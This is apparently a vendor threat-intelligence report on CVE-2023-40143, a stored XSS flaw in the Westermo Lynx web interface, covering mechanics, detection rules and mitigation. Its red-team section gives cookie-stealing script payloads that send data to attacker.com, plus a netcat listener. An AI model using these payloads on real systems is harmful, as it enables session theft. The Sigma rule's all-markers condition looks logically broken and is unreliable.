CVE-2023-40143
Executive Summary
CVE-2023-40143 is a stored cross-site scripting (XSS) vulnerability in the Westermo Lynx web application. An authenticated attacker with access to the vulnerable software can inject arbitrary JavaScript by manipulating the forward.0.domain parameter. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known patch or public exploit. The EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It affects proprietary Westermo firmware.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker needs valid credentials
- User Interaction: Required (UI:R) – victim must click a crafted link or view a page
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires authentication and user interaction, but successful attacks can lead to session hijacking, credential theft, or defacement.
Deep Dive & Mechanics
The vulnerability resides in the Westermo Lynx web application’s handling of the forward.0.domain parameter. When an authenticated attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via this parameter, the application stores it without proper sanitization. When an administrator or other user views the affected page, the injected script executes in their browser context.
Root Cause: Lack of input validation and output encoding for the forward.0.domain parameter. The application likely reflects or stores the parameter value in HTML without escaping special characters.
Attack Flow:
- Attacker authenticates to the Westermo Lynx web interface.
- Attacker sends a POST request to the vulnerable endpoint with a malicious payload in the
forward.0.domainparameter. - The payload is stored in the application’s database or configuration.
- Victim (e.g., another admin) navigates to the affected page.
- The stored payload executes, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all current versions. A patched version would implement proper input validation and output encoding.
Vulnerable Code (Conceptual):
# Example of vulnerable Python/Flask code
@app.route('/update_forward', methods=['POST'])
def update_forward():
domain = request.form['forward.0.domain']
# Directly stored without sanitization
db.execute("INSERT INTO forwards (domain) VALUES (?)", (domain,))
return "Forward rule updated"
Patched Code (Conceptual):
import html
import re
@app.route('/update_forward', methods=['POST'])
def update_forward():
domain = request.form['forward.0.domain']
# Validate domain format
if not re.match(r'^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', domain):
return "Invalid domain", 400
# Escape HTML entities before storage
safe_domain = html.escape(domain)
db.execute("INSERT INTO forwards (domain) VALUES (?)", (safe_domain,))
return "Forward rule updated"
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Westermo Lynx device with web interface enabled.
- Valid credentials (low-privileged user).
Exploitation Steps:
- Log in to the Westermo Lynx web interface.
- Navigate to the forwarding configuration page.
- Intercept the request using a proxy (e.g., Burp Suite).
- Modify the
forward.0.domainparameter to include a JavaScript payload:forward.0.domain=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- When an administrator views the forwarding configuration, the script executes, sending their session cookie to the attacker.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
Blue Team
Detection:
- Monitor for unusual POST requests to endpoints handling
forward.0.domain. - Look for encoded or suspicious characters in the parameter value.
- Use web application firewalls (WAF) to block common XSS patterns.
Hunting:
- Search logs for requests containing
<script,onerror,onload, or other XSS indicators. - Review stored configuration data for unexpected JavaScript.
Lab Setup:
- Deploy a Westermo Lynx device in an isolated network.
- Use a web proxy (e.g., Burp Suite) to capture and modify traffic.
- Set up a listener (e.g.,
nc -lvnp 80) to receive exfiltrated data.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/update_forwardor similar endpoints withforward.0.domaincontaining<script>orjavascript:. - Outbound connections to attacker-controlled domains from the Westermo device.
- POST requests to
- File IOCs:
- Modified configuration files containing JavaScript payloads.
- Log IOCs:
- Log entries showing
forward.0.domainwith non-standard characters (e.g.,<,>,&).
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2023_40143_XSS_Payload {
meta:
description = "Detects XSS payloads targeting forward.0.domain parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-40143"
strings:
$xss1 = "forward.0.domain=" nocase
$xss2 = "<script" nocase
$xss3 = "javascript:" nocase
$xss4 = "onerror=" nocase
$xss5 = "onload=" nocase
condition:
$xss1 and any of ($xss2, $xss3, $xss4, $xss5)
}
Sigma Rule
title: CVE-2023-40143 XSS Attempt via forward.0.domain
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in forward.0.domain parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'forward.0.domain='
cs-uri-query|contains|all:
- '<script'
- 'javascript:'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in domain names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-40143 XSS Attempt via forward.0.domain"; flow:to_server,established; content:"POST"; http_method; content:"forward.0.domain="; http_client_body; pcre:"/(<script|javascript:|onerror=|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the web interface if not required for operations.
- Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Implement a WAF to block XSS payloads.
- Monitor logs for suspicious activity.
Long-Term Fix:
- Contact Westermo for an official patch or firmware update.
- If no patch is available, consider replacing the device with a patched alternative.
- Implement input validation and output encoding in any custom integrations.
Workaround:
- Use a reverse proxy (e.g., Nginx) to sanitize the
forward.0.domainparameter before it reaches the application.
Valters IT
DevSecOps & Cyber Threat Intelligence